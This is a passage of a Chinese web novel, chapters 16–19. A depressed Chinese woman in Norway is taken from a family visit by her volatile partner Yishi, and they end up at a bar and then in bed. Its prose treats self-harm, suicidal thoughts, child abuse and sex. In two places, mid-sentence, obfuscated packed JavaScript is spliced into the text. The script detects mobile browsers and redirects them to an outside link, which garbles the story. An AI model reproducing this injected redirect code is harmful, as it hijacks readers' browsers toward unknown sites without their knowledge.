“好久不见呢我的小甜心!”布鲁克朝瓦萨里奇家的小孙女招手,奈何人家根本不理会,他撇撇嘴,对一旁年长些的哥哥说道:“你欺负她了?我警告你,你可不能欺负她!” 哥哥像模像样地翻了个白眼,差点把我逗笑,他和Disney的镇山之宝长得一模一样,很特别的是他还有一对招风耳。“她明明是讨厌你。”他说。 “不,不可能。”布鲁克在小甜心身旁蹲下,用自己的独家秘方哄着。 而我听不懂一句挪威语,从踏进客厅开始除了表现得像个盆栽以外找不出更好的选择,更何况两个孩子探究的视线让我不敢轻举妄动。 “她是谁?”小甜心指向我。 布鲁克心甘情愿地交代道:“你伊实叔叔的老婆。” 从肢体语言中我猜测那边大概已经进行到介绍我的环节了,但我对布鲁克会如何介绍毫无头绪,只见他了了一句话,孩子们便瞪大了眼睛,下巴拉长。 “伊实叔叔结婚了?!” “是那个抽烟喝酒爱说脏话的伊实叔叔吗?” “你一定是在开玩笑吧,上次他在我们家吃了一整只火鸡,我妈妈说没有人会愿意跟一头熊结婚!” “哥斯拉!简直是哥斯拉!” “布鲁克,布鲁克,你快告诉我,她是ET吗?” 两个孩子你一句我一句,布鲁克的脸庞仿佛闪烁着人生巅峰的光辉,春风满面地左拥右抱。 “是啊,起初我也震惊,伊实竟然和一个中国女孩结婚了。是的,她不是什么外星人,她是中国人,和你们的赵叔叔一样是中国人。伊实叔叔和她非常相爱,他们是我在这个世上见过的最般配的两口子!” “啊啾——!”我一声当堂喷嚏打断了他们火热的谈话,我汗颜,摆摆手表示:打扰了,请继续。 真尴尬啊,想回家,什么时候开饭,他们到底在聊什么? 16. 第 16 章 瓦萨里奇家的餐桌逐渐人山人海,如果提前知道要在那么多人眼皮子底下蹭吃蹭喝,我一定会义正词严地拒绝。瓦萨里奇先生有两个儿子一个女儿,血脉向下延伸又得到三个孙子两个孙女外加一只体形值得反思的银渐层。 好在这顿饭没有重要到需要瓦萨里奇一整个家族全部出动,坐在我面前的只有瓦萨里奇先生、瓦萨里奇太太,他们的二儿子乔森·瓦萨里奇、他们的女儿梅里·瓦萨里奇,他的孙子、他的孙女……抱歉,我实在记不住长难句。 自从他们知道我听得懂英文以后,这顿早午餐就变成了我的雅思听力考试。首先,我痛恨被人关注,其次,我痛恨和人交谈,这些都会让我想起先前舔着脸过日子妈的明明老子自己累的要死还要他妈的给别人摆笑脸……抱歉,慌乱很容易使我焦躁,为了不把无名之火撒在无辜的瓦萨里奇一家子上,我只好闭口不谈当哑巴。 多亏了从进门到现在我一句话没说,布鲁克似乎也察觉到了我受到攻击时紧闭贝壳假死,很配合地替一只河蚌解围:“她曾声带受损,只能发出很少的声音。” “哦……太可怜了。” “多好的女孩儿。” 听到这些惋惜的话,我一时间忍俊不禁,笑着作手语:我,不好,说不出话,仅仅是最微不足道的。 我在公益活动上学过很多手语,现在派上了用场。我在一个小学六年级的聋哑小男孩身上明白了世上没有救赎之道,他即将从特殊小学毕业,去往另一个特殊学校,他笑着,我却快哭了,生活的真相要从每个人的身上碾过去。 吃完早午餐,瓦萨里奇提议去楼上的露台坐一会儿。肚子里的异国大米正好难以消化,我欣然一同前往。在我身后,有一只银渐层悄悄跟着。 我被分配到一个单人沙发,坐下时才注意到那东西摩拳擦掌准备起跳,没给我反应的余地便投进了我的怀里。 非常沉。 我摸了摸它的毛,它踩了两脚之后找到一个舒服的姿势趴着。其实,如果是我霸占了它的位置,它大可以冲我龇牙发脾气,如此既来之则安之的心态只能说不愧是一只猫。 “看来它很喜欢你。” 瓦萨里奇家的二儿子乔森在我们面前蹲下,抬起手狠狠地疼爱了他的猫,手掌若有似无地触碰到我的腿。 闲不住嘴巴的百事通布鲁克半小时前向我科普过,乔森是瓦萨里奇第二个老婆的第二个孩子,年纪和伊实差不多,但人家已经结过两次婚了。末了他提醒我:“瓦萨里奇人对付女孩很有一套,你千万不要被坑蒙拐骗了,说什么也别信,我可不想某一天听到瓦萨里奇家又新添香火了!够了!完全够了!” 他可真矛盾,一面恨不得将瓦萨里奇家的小孙子女视为己出,一面又咬牙切齿绝不允许有更多的婴儿在他眼皮子底下被冠上瓦萨里奇这个姓。 “你试过发出一丁点儿声音吗?”乔森仍旧保持着单膝下蹲的姿势,神情关切地询问我的缺陷。 我摇摇头,打手语:我的嘴巴很坏,如果开口说话,我会让你滚。 这里除了我没人读得懂手语,他看不懂,只能笑着问:“那是什么意思?能写下来吗?” 我又摇了摇头,给去一个意味深长的微笑,我不想破坏布鲁克的人缘,毕竟他喜欢瓦萨里奇家的小孩喜欢得皮都展开了。 “没关系。”乔森大方地抱走了我腿上的坦克,再回来时手里拿着一本相册和一杯热牛奶。“用它来代替吧。” 坐在对面长沙发上的两个老头向我们这边看来,瓦萨里奇或许知晓他儿子的意图,或许不知道,总之看我的眼神十分仁慈,反观布鲁克瘪着嘴角盯住我,像在说“你可别忘了我刚和你说了什么”。 乔森坐下来没多久,他们便被小孩儿的召唤吸引了去,露台上只剩二人。我知道我走不了,所以没有挣扎,其实没什么所谓,自从我是个哑巴了之后,许多问题都能够迎刃而解。 我配合乔森看他的旅行相册,一方面我需要保持一个客人应有的礼仪,另一方面我也想找点事情打发时间好等待下一次睡眠时间的到来。是的,我已经累了,只想躺着,布鲁克说他要在这待上一天,这就意味着我也必须在这待上一整天,不用给人做饭再好不过了,但我仍需要一个空间允许我死一死。 乔森是个十分健谈且具有浪漫主义的成功人士,去过很多地方,包括我的祖国,这也是他选择相册作为拉近和我的关系的首要原因,对着我这张萍水相逢的脸他能够顺其自然地叙旧。 他去过北京的大部分景点,很惭愧的是,我作为native并没有去过首都,时间是暴晒过后的海绵根本挤不出一点儿来供我游历四方。况且,一个人的旅行有很大概率在半路熄火,我没有靠谱的家人朋友,指不定哪天上了新闻,阴险的保险公司死无对证。 “我似乎听见你的声音了?”乔森暂停了他的旅行回忆,用一张斯文脸注视我。 方才我禁不住又打了个喷嚏,不期谎言竟从喉咙里蹦了出来。 “你多让嗓子派上用场会恢复得更快。”乔森合上相册,调整椅子和我面对面,“听我说,我学了几句中文,listen——‘你好,美女’——如何?” 他的舌头捋不直,那句中文从他嘴里说出来像一根麻花。我不想再和他周旋,于是在他为我准备的纸纸上写道:「很标准,你很厉害,但我很困了,兴许我能找个地方睡一个午觉吗?」 “当然!”乔森牵起我的手扶我起来,“客厅有个躺椅,你可以在那儿睡。” 我缩回手,很不适应这么体贴周到的待遇,只想快点摆脱这位多情的绅士。 恰好在楼梯口遇见了正找我的布鲁克,他一手将手机贴在耳边,一手把我拉过去。我向布鲁克投去感激的目光,乖巧地任君差遣。 他不知去向地拉着我到处走,一边急呼呼地和电话里的人解释着什么:“她在,她当然在,就在我的旁边,一根头发没少,要听听她的声音吗?” 我清了清嗓,使命必达。然而他话头又一转:“哦你可拉倒吧,口是心非的家伙。她今天差点被乔森·瓦萨里奇给迷惑了,你管不管?” “?”我扯了扯布鲁克的老手。 他瞟了我一眼,做出让我安心的手势,继续说:“什么叫我绑架她!够了,我跟你没什么好说的!她以后不归你了,我要把她带走!” “……”我并不认为现在是讨论抚养权的好时候。 布鲁克用力挂了通话,在情绪平复下来之前应该是没办法和我说明到底是什么情况了。 我以为他会冲着这股劲儿说出什么豪言壮语,谁知他变成一副东窗事发而心虚的模样。 “是伊实,他发了很大的火……”他欲扬先抑,但明显抑制不住,“我想过他会生气,但不至于连我们的感受都不在乎。总之,你一时半会儿别回去了,我会给你找 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我拒绝了,比起在热闹非凡喜气洋洋的闹市里游街,我更想睡在躺椅上一睁眼就能看见温暖的壁炉。 乔森不出所料地在客厅等着我,甚至为我准备了毯子。我脱去外套,在躺椅上躺下,没有马上闭眼,乔森似乎有话要说。可他一直不说,像酒吧里柔情似水的服务生一样在我身边乱晃,一下调整壁炉的温度,一下向父亲自告奋勇留在这陪我。 也罢,他迟早会说的,他那浓密的褐色眉毛一看就藏不住事。 后续是,我内心毫无负担地睡着了,他那句骚话也没说出口。我笃定那是句骚话,他所有的喋喋不休都像是在卖弄学识和风情。不能说他不是个好人,只能说我坏的绝对,就算他是个好人,我也能挑出一万个刺。偏见不是被偏见者的无辜,是偏见者的自娱自乐。 但我对乔森的不喜欢只放在心里,毕竟我也知道自己对待亲密关系就跟长了刺的弹簧一样要杀要剐,本质上归咎于自身性情刻薄又很能装,关他人是一点事没有。 我睡着了但没有完全睡着,耳朵还能听见乔森和他姐姐的对话,身体还能感受到银渐层再次爬上了我的膝盖。 过了很久,客厅才陷入一片荒无人烟的安静,只剩下我和猫,我不算正常人,它也不算正常猫。 原来不是我鸠占鹊巢,是它单纯喜欢趴在我腿上,我上身这件银白色渐变针织毛衣功不可没。躺了也就躺了,我顶着腿麻的风险和它友好相处,反正之后不会再见面了。 是吧,反正之后不会再见面了。 所以我不会伸手去摸摸它,不会抱起它嗅一嗅猫臭味,不会给它找猫粮吃,也不会问它叫什么名字。 像我这样对厌恶的玩意和喜爱的玩意一视同仁的清官不多,不过如果哪一天我被拖进大堂审问仗责五十那也是罪有应得,一视同仁不代表我心胸不狭隘。 敲门声惹怒了我腿上这位小祖宗,它听到声音应激反应弹跳起来,踹我踹得不轻,我皱着眉头睁开眼睛,发现裤子上沾了几根猫毛。真是太客气了,来就来了,还送什么礼物。 我听见乔森去开门的脚步声,突然有一种不妙的预感,至少布鲁克他们玩耍回来定不会大动干戈地敲自己家门。 “她在哪儿?” 我手臂上的毛都竖起来了,那是伊实的声音。 17. 第 17 章 “小声点,都说了她还在睡觉,你别总这么乱来。”乔森愤愤不平地挡住伊实的去路。 是的,为求自保,我原模原样地躺了回去,装成一副睡得正香的表情,双手交叉放在腹前,头以一个最舒适的姿势靠在躺椅上。 “哦?是吗……”那可怕的压迫的声音从我头顶传来。 你永远不知道下一秒伊实嘴里会蹦出什么惊天地泣鬼神的台词,所以关机是最好的应对方式。哪怕他今天在乔森面前大肆宣扬我是个双相情感障碍患者兼心理变态,我也绝不眨一下眼睛。 乔森矮了伊实半个头,并且他也知道缺乏硬汉气质的自己很难和伊实在拳头上有所较量,所以聪明如他决定讲道理。 “行了,别呆在这了,你来找布鲁克吗?他一会儿就回。” 伊实死盯着我,一枪灼热的视线烧得我脸生疼,一寸不敢动。他避开了乔森的拉扯,说:“我不找布鲁克,找她。” “如你所见,她在睡觉。” 伊实冷笑一声,“是啊,这也不是她第一次干了。” 见讲理不成,乔森语气不爽:“你不由分说地就闯进来,打扰她的午觉,还理直气壮站在这,你到底要做什么?” “你以为我稀罕来?专门来看你这张恶心脸?”伊实拽起我的胳膊,我吃痛,但死活不睁眼。 乔森为我拖延了一点时间,也仅仅是一点。伊实早就看穿了我的豆腐渣工程,一举将我扛在肩头,让乔森闪开。 “你要带她去哪儿?” “关你屁事。” 我想乔森正义到这份上大概已经不是为我了,而是想和伊实争个高下。让人燃起怒火起义抗争的本领简直是伊实与生俱来的。 “你没权利这么做,你算什么东西?”乔森说。 伊实站定,把话说开,也就是把话讲得更难听:“Fuckyou.” 乔森由于受到人身攻击彻底偃旗息鼓,我倒吊的脑袋再次晃了起来,像一坨烂肉。直到快走到门口,伊实转了个身,用力朝我的屁股来了一巴掌。 “See?她没醒,你又算什么东西?” “……” 现场有两个人的脸色青一阵白一阵,只有一个人红光满面狂妄自大地挑衅完还能背手开门。 我摔进车里,脑浆差点喷射三尺高。伊实堵在车门前,一只脚踏进来,将我拷的死死的。他的脸色冰冷,不意外他或许会把我的下巴捏得粉碎。 “玩得开心吗?你答应过我什么?” 我没说话,连眼睛也忘了眨。 除了愤怒,疑惑浮现在他的脸上,难以置信,以及模糊且荒诞的可怜。 “我忘了,你没答应过我什么。”他松开对我的禁锢,绕过车头坐上驾驶位,嘴里吐出一团迷雾,可他抽两口就扔了,动作杂乱无章。 我系上安全带,企图通过沉默来大事化小小事化了。我答应过他的没错,说好了用我的厨艺换取他家的一张沙发,但我不想做了,我也做不好。 你让一个看蚂蚁搬家都会想象到天灾人祸的人去过正常生活,相当于剖开她的五脏六腑但不做缝合。我做不好,不知道人来人往的车厢我该站在哪里,还打算在终点站的前一站问问列车长能不能爽快地从我身上碾过去。 除此之外,对伊实的愧疚才是我真正忏悔的理由。我像形容牛粪一样形容他,以及斗兽场里最凶残禁忌的猛兽,还有毒死几十条人命的响尾蛇……哪怕是这样,我回想起来的仍旧是他抱着我时和我的头颅刚好契合的颈窝。 “我不想。”我低语呢喃,风从右边的车窗吹进来,蒙住了我的余光。 “不想什么?”伊实快速看了我一眼,“大声点。” 我整理头发,但怎么也整理不好,“我不想回去。” 伊实踩住刹车,以至于安全带狠狠地掐了一下我的脖子,他干脆利落地掉头,这之后车往哪儿开我一点头绪都没有。 我的胃隐隐作痛。 我仿佛走进了疯人院。 我只是个实习疯人,身旁这位却已经是宗师级别的暴徒。 我在混乱,他也在混乱,黑洞交织会构成一个更大的黑洞吗?还是互相吞噬你死我活。 天色只会更暗不会有回光返照的可能,我希望近光车灯坏掉,车轮打滑陷进路边的积雪里,然后我走下台阶说:“我们还是回去吧。” 可惜没有,我们停在了一家酒吧门口,伊实头也不回地下车,他的背影叫我跟上,我没有争辩的余地。 耳膜很快被全方位的音乐袭击,打进走进酒吧的那一刻,所有设施都在给我添乱,我废了很大的功夫才跟上他。 “一杯白兰地。”他说。 “我也一样。”我紧跟着对酒保说,明示我和他是一起的。在异国他乡的非凡场合,狐假虎威是保持健康的基本要领。 伊实瞥了我一眼,转过头嗤笑。 野蛮人。 白兰地在我手中成了一件展览品,一滴未进嘴。饶是我再怎么不去想,某些东西也会自己发芽。 伊实久久不同我交谈,闷头喝酒。他的右侧下巴有一笔新添的伤疤,在雪白的皮肤上格外瞩目,我现在才发现。 我伸手去摸,不出所料地被他躲开了。 “怎么弄的?”我问,默默收回手。 伊实有强迫症似的喝干眼前这杯,咽下去,大拇指抹掉嘴角漏下的酒渍,最后已然忘记了我的问题似的答非所问:“你来这有些时候了。” “嗯。”我想,也有半个月了,再过三个“有些时候”我还没死掉的话,就该被驱逐出境了。 “你说你无家可归,死乞白赖地让我喂养你。”他继续说。 “……嗯。”他说的和事实有很大偏差,但没必要追究。 伊实终于看向我,眼底那片薄得几乎透明的皮肤和那块伤疤一样血红,而他的蓝色瞳孔在这里暗淡不清。“然后呢?”他说,“然后你想怎么做?” 我完全失重了,好像在沙滩上刻完出师表后发现海浪把所有字都冲洗干净,只能从第一行重新写起,否则没有人知道我此行何去何从。可能我沾满沙子的双手双脚,岸边的自我陶醉和自我麻痹,仅仅是海上的一阵风。 “Nothing.”我说。 他眯起眼嘲讽地笑笑,双手抱头像在撑着脑袋防止呕吐。他不可能吐出来,他是我见过酒量最好的罐子。 我试探性地拍上他的后背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572867|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问:“你到底怎么了?如果你饿了,我们现在就可以回去。” “是的,我他妈的自作多情,我快恶心死了,不知道自己在想什么。”他根本没听我讲话,招呼酒保又来了一杯shot,“你什么也没有地从一个地方到另一个地方,站在我面前好像在告诉我,对啊,世界上就是有那么巧合的事情,那又怎样!明晃晃的陷阱你就该跳!来生的好日子那是来生的事,这辈子你就该下地狱!” 他的胡言乱语听起来是一种谩骂,但又没有具体的靶子,我只能理解为这是无名之火。 “勇气可嘉,勇气可嘉!”他痴痴地笑起来。我胸口感到一阵钝痛,说不清是悲伤还是和世界历史的某个已故角色产生了共鸣。 音乐炸得所有人满脸开花。 伊实从座位上站起来,穿进人群,在舞池中央摇头晃脑,有穿紧身牛仔裤的漂亮女人贴上他的胸口,他没有拒绝,顺手搂着她的腰肢摇摆。他转了一圈又一圈,有递过来的酒就喝,有抖着胸.脯凑上来的女人就抱,然后再推开,转了一圈又一圈,永不熄火,偶尔热辣辣的眼神透过缝隙到达我这里,却在我发现的一瞬间变得毫无情绪,像在质问:“这场骗局你要待到什么时候?” 我也不知道。 是他非要把我从平静带到这地方来的,给我展示了青春无限好,黄昏也有夕阳红。他比任何啼鸣都要吵闹,也比所有黑色潭水更为沉默。 伊实,如果真是我想的那样,请再给我一个眼神。 我很难有高深的自制力,有千万个齿轮在我的身体里,牵一发而动全身。 如果真是我想的那样,请再给我一个眼神。 我是不信枯木逢春的,园子里落满了死掉的树叶和厚重的灰尘,清扫要费很大的力气,倘若蝴蝶来了,我会告诉它这里一无所获,除非它想成为标本,留下它最美的一面。我答应下来,然后埋进地下三尺,永世不得超生。这就是一场骗局。 但如果给了我一个眼神…… 我挤开一具具精力过剩的透明人物,走到伊实面前,他也停了下来,低头看着我。 一股漆黑发红的液体从他的鼻子流下来,滴到我的脚边。他骂了句“fuck”,粗暴地用手指抹掉,弄得满脸满手都是。我伸手帮他擦掉,却被他拍开。可他也知道,一个人是止不住这血的。血无论如何非要到处添乱,像是从我心口里偷漏出去的。 我用了力气抓住他的手腕,他的手心在发抖,不对,是我的手在发抖。我狠狠地按住他的脖子,像在撕一面正在缓缓落下的幕布。血腥味离我越来越近,直到他的鼻根在我面前成为重影。 我发了疯似的吻住他,而他依旧血流不止,灌溉了一对紧贴着的慌乱呢喃声。 他同我一样不管不顾地攻城掠地,压弯了我的腰,胸口滚烫,挤压我背上的一块软.肉,闹得兵荒马乱。 我们不能呼吸了,也没想过呼吸,在疯人院里达成了最伟大的合作。我是疯子,他是暴徒,我们尝着血腥味在地上圈起属于我们的领地,宣布嚣张合法,任性有奖。 他吻开了一地色彩鲜明的冰川,满脸堆笑咬着我的嘴唇,又像是哀悼。 “穆里斯,穆里斯,别停下来。” 18. 第 18 章 过了饭点的便利店很容易变成收养所,和操演着蓝绿色调的药房一样发自肺腑地接纳每一个找不到北的倒霉蛋。 伊实背着光走来,手里冒着热气。他打开车门第一件事是把那滚烫的玩意抛进我怀里,第二件事是再三警告我不许对他塞着纸巾的鼻孔指手画脚。 “还买了什么?”我问,瞥向中间的白色磨砂塑料袋,但什么也没看清。 “Condom.”伊实系上安全带,这个人粗暴顽劣但也有很强的安全意识。 我撇了撇嘴,不打算提醒他忘记买创口贴的事情,再不吃送到嘴边的牛肉汉堡,它就要散发出血腥味了。 路灯在车窗里向后滑得很慢,我以为他会着急赶回去,可事实上他沉默寡言不催不问,一点儿没对代驾司机露出不耐烦。对了,这个代价司机是他在酒吧门口随便抓的,没准人家是个初出茅庐的扒手,没来得及犯下第一案就面临了价值两百克朗的抉择,思来想去以劳动换取金钱能少付出一些道德上的代价,便硬着头皮答应了。伊实不愧独具慧眼,这位代驾司机似乎对地图很熟悉,一两句点拨就知道该怎么走。 我把吃完的食物包装揉成一团藏在手心里,舔掉指尖的廉价芝士酱,最后抽一张餐巾纸擦干净一切,像在麦当劳干了二十年一样熟练。 几乎是同时间,伊实取下沾满血的鼻塞,又掰开我的手拿走包装纸,齐齐丢向窗外。他的血止住了,素质也看不见了。 他把我的手捏起来把玩,身体靠的很近,幸好有安全带,不然我会不知道如何在外人面前和一名装醉且不好对付的复杂灵长类动物相处。 安全带的阻力是有限的,他的头彻底搁在我的脑门上,我不堪其重,推开这颗铅球。 “如果你实在饥.渴,就让他开快点。”我说。 司机听到了,稍稍踩了油门,即便我提了“如果”。 伊实微微摇头,梦呓般说:“不,我一点都不。看你舔的那么熟练,觉得你也喜欢蹭蹭而已。” “你在打比方?” “没准呢。” 我到底没抽出自己的手,任由他依序摁压我那脆弱的指关节骨骼。 “五根,不多不少。”他噙着笑说。 我竖起中指,回答他:“一根。” 他用拳头一下包住我的手,再次把脸贴上来,在黑暗与灯光交织的隐隐绰绰里问道:“奇了怪了,你出奇得漂亮,怎么做到的?” 我视线往下瞟了瞟,盯住他,反问:“你才是判若两人,怎么做到的?” 他用鼻尖碰了碰我的,回答:“喝到全世界最好喝的酒了。” 我蜻蜓点水地在他唇上亲了一下,然后迅速拉开距离,脸颊烧得滚烫,朝窗外撇去。脑子里的疑虑像沾满催化剂的有害细胞不断分裂分裂分裂,这份冲动究竟属于谁?是一个将死之人该有的颜色吗?我可以把舌头伸进去,但我不可以仅仅为了贴上他的嘴唇铤而走险。 连接我们两个的是一曲暴烈的舞蹈,是肮脏污秽都置身之外因为我们就是肮脏污秽本身的奏鸣。我有我的执着,他有他的执着,我们是因为两种截然不同的执着拼在一起的木偶。 平复下心情后我转过头,发现他早已眯起眼睛假寐。 真过分,原来浅吻他根本看不上。 …… 暖气制热需要一定的时间,他二话不说地走进厨房找水喝,连灯都没开。我则趁此脱了外套躲进沙发里,等他什么时候主动来抱我。 幸运的话,我今晚能睡上卧室,不幸运的话——没有那种可能,我可是铁了心地鸠占鹊巢,坐等功成名就。 我等啊等,等了半天,也不见伊实来抱我。他难道在担心接吻的时候又糊我一脸鼻血?还是顾虑我刚吃完牛肉汉堡通身散发着一股速食味?我还是去刷个牙吧。 巧合发生在浴室,伊实没锁门,而我知其不可为而为之,他的人体就这样映入眼帘。我发誓本人一秒没有多看,思想笔直地挤牙膏开始刷牙。 伊实关掉水龙头,湿答答地从我身后经过,一条灰色浴巾从头擦到尾。我目不斜视,而面前的镜子争先恐后地表露真相,要知道,镜子从不撒谎。 我刷完牙,擦干净嘴,一只大手突然从后面抬起我的下巴,大拇指刺入我的口腔,摸索下排牙齿,最后停在某处。 “就是它,偷袭了我一次。”伊实信誓旦旦地说。 我的牙齿是典型的幸运穷孩子家的牙齿,既不需要花几万块休整形状,也没必要花几百洗掉偷吃甜食付出的代价,长得不算歪斜,咧开嘴角假笑时看上去整整齐齐,但再往后扒开一点就能看到长得叛逆的尖牙,像被人多削出一个角的比萨斜塔。 我本能地做了个吞咽动作,一直张开嘴巴的话口水会不受控制的流出来。我看见伊实也跟着吞咽,就在我认为他即将心血来潮令一只下巴脱臼的时候,他越过我洗手,并且阴郁地说道: “没收你检查费你就高兴去吧。你自己洗还是我帮你?” 我不会让魔鬼从看似静止的时间缝隙中溜掉第二次,所以很爽快地放好了身上的衣物。 越是拥挤的地方越不可能出现抱团取暖,高峰地铁就是最好的例子,与此同时越是可耻的行径越有人凑在一起好似罪恶也能消消乐。每个人面对面的时候其实都是在互相施舍,所以大家是来自五湖四海的叫花子,只不过有的比较松弛,有的比较贪心。松弛的可以变得很贪心,贪心的也能变得很松弛,从同一个祖先繁衍下来的基因不衰不死。 我将乞讨动作铭记于心,一路从脖颈拜到背脊,也坦诚地摆开自己的筹码。 很久没有体验过这般点燃的棉花糖一样的触感了,从未干的沥青上滚过去,被挖掘机拎起,听见乍然的开门声,以及低沉且含糊不清的话音。 我躺在柔软的枕头上,想起他每回调笑的脸色后面都跟着一句嘟囔,便问道:“穆里斯是什么?” 他抬起头来,还是那副调笑,说:“穆里斯是你。” 一切我听不懂的语言都有迫害我的嫌疑,我很认真,看不惯他藏秘语,抓花了他的脖子,质问:“到底是什么?” 他禁锢住我的双手,神色微露愠色,“正是如此,理解吗?” 当然不能了,但看他不痛快的眉头我突然得意起来,管它是什么含义,骂我婊.子我也认了。 但我很快就得意不起来了,他按到了我大腿内侧的淤青,疼得我直接叫出声,也给他的小臂留下了难以消解的指甲印。 “What?”他疑惑地低头看,“我还没……操,这是怎么回事?” 我盘腿坐起来,和他保持一定的距离,摆摆手不在意地说:“前两天摔了一跤,挪威的石头比我预期得更硌人。” 事实上是我半夜脑子一抽自己掐的,恋痛太丢人了,我绝不会承认。况且在这种时刻谈起我的毛病实在煞风景,秋后算账不行吗? “前两天?你是说你在我眼皮子底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572868|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下像狗一样吃屎竟然还能全身而退?” “……” 他抓住我的脚踝把我拖过去,寻找我身上别的伤痕,我两臂夹紧死死抱住胸口,人在应急时刻总会干出此地无银三百两的勾当,他抬起我的左侧胳膊,使一条存在于肋骨外侧的十厘米长的烫伤鞭痕暴露在阳光之下,哪怕这个房间仅仅开了一盏灯。 “……” 算了,瞒也瞒不住,好在解释权归我所有。我倒是能够在这节骨眼上三心二意,只要他乐意听,并且无视那股生机勃勃的劲儿。 “告诉我吧。”伊实吻下来,爱不释手地盘弄那块伤疤。哦,看来他能够专心致志地同时做两件事。 “我的英文很烂。”我推辞,主动握住他,非得搅乱这座天平不可。 他倒吸一口气,埋进我散开的发丝里,不知用了什么办法精准找到我的耳朵,咬牙切齿地说:“和其他水平比起来,你的英文好得不得了。” 我发出闷笑,算是接纳了他的建议。 “在我读小学五年级的时候,我爸用沸腾的路易威登皮带抽了我十几鞭。”我环抱住他的头,继续说道:“把那条皮带放进沸水里的人正是我,我煮了半个小时,一直守在厨房,不断加水防止烧干了弄坏那口锅。那是他最宝贵的一条皮带,除此之外他只穿抽绳设计的裤子,十分虚伪的家伙。 “东窗事发的那一刻他毫不犹豫地将手伸进沸水里,另一只手不忘抓住我这个罪魁祸首,他要让我永远记得那条皮带是因谁而死的,所以不管皮带多么烫手,他抽我的力气也不小半分。 “最后他送我去医院,挂了两个号,一个我的,一个他的。一条皮带同时在我的肋骨和他的掌心留下了疤痕,很精彩的一出戏,我敢保证。那时我才五年级,十二岁,怎么样?” 我和他的位置完全对掉了过来,因此我看得更为清晰,反客为主问道:“多么精妙绝伦的巧合,你这伤疤又是怎么来的?”我戳了戳他三角肌处的烧伤,不大不小,一拳头的面积,纹理款式和我的差不多,稀奇! 伊实慢悠悠地支起身子——显然,原有的气氛已经被破坏得大差不差了,双方都不知不觉偏了题——他虚搂着我防止我向后倒去,慢条斯理地谈起。 “Chloe在一家餐厅抽烟,意外放了一把火,得亏我赶过去及时,否则烧毁的就不止一间储物间和两张桌椅那么简单了。” 我听过这个故事,追问:“她受伤了吗?” “没有。”伊实顿了顿,“哦不,阴.道受损。” “所以那是一场预谋。”我劝诫道。 “无所谓,当我知道她欺骗我的那一刻起,一次和一千次对我来说没什么差别。” 我捧住他的脸,撅起嘴安慰道:“小可怜小可怜。” “然后,让我瞧瞧,这个呢?”他指了指我身上其他疤痕。 事已至此,我大方分享:“每个中国人小时候都会打的疫苗。你这个是?” “刮胡刀坏了。” “你看我这个,穿裤子的时候不小心被指甲刮的,比你的刮胡刀还要锋利。” “嗯……情理之中。” “还有这个,我的胎记,看不太清楚,浅褐色的。” “基因漏洞?” “这块是什么?这个我真忘记了。” “Imadeit.” “YES!” 我望着他开朗一笑,随后乖巧地裹紧被子睡觉。 19. 第 19 章 天花板上似乎有人在敲鼓,床板下面也有,不是积攒了冤情的鼓声,是用挖过泥土的双手均匀拍在鼓面上的声音,是粗壮的拐杖插在西北沙漠里的声音,从同一个月亮反射到挪威几千个小岛里的一个,反射到我身下的这张床,与我的心跳共振。 这是一个没有药物截断反应的夜晚,无须固执地咬下拇指哥,缝起上下眼皮,蜷缩成一团滚进羊圈。 令人十足愉悦的帷幕。 我比伊实先一步苏醒,刚想掀开被子便感受到了一股冷意,鸡皮疙瘩迫使我躺回去。于是我趴在他的胳膊下百无聊赖,开始临摹他的五官,以及他的胸肌。 很遗憾,昨天并没有做到最后,我的恶劣在我明确听见他起身去卫生间解决却仍蒙头装睡的那一刻达到了巅峰,他的动静不小,每走一步都是在讽刺我,但他胡搅蛮缠不过我。吻痕不对等,气力没有耐心,而我也不过是想小小的扳回一城而已。 伊实啊伊实,你不说话我就当你默认了。世界上多的是竹篮打水一场空的事情,蝴蝶飞几日就死了,不是所有人都像盖茨比那样幸运。如果你愿意陪我无聊,那我也为你解解闷。 我最喜欢你的瞳孔,当然,现在看不见,我有说过我最喜欢你的瞳孔吗?好像没有。那大概以后也不会说。我们那全是漆黑的眼睛,要么是褐色,人和人长得一样,分辨不出来,把这个人的眼珠子挖出来按到另一个人的眼睛里也毫无差别,因为黑色浓的不能再浓,所以很难从中理解到有意义的东西,包括我自己照镜子。但是你的深蓝色不一样,漂亮,虽然你的专属用法使它显得凛冽,但掩盖不住它很漂亮,忧郁,一尘不染。我喜欢你吸.吮双.乳时抬眸的那一瞬间,我在欣赏你的时候你也在欣赏我。 我是阴暗的地下室人格,但没有什么杀伤力,你大可放心,到了悬崖边我自己就跳了,连一粒摇摇欲坠的小石子都不必拜托。 至于谢谢,我肯定不会对你说。看到我头上的紧箍圈了吗,紧箍圈的紧箍咒是强大的、不可违背的宇宙体系,哪怕痴呆症替要换掉我的脑细胞,我也能保持清醒。一旦我为你感到感谢,我这辈子都无法挽回了。 “现在去给我做顿早饭我就让你尝它们三十秒。” 突然敲在头顶的声音让我打了一哆嗦。在天空未亮的早晨目不转睛地盯着一位俄美混血壮汉的胸肌是件无可厚非的行径,更何况他也知道自己的姿色。 我撑起上臂,反问:“你确定要跟我算账吗?” 他眼底暗了暗,扶额揉太阳穴,偷偷用俄语诽谤我(绝对是诽谤)。 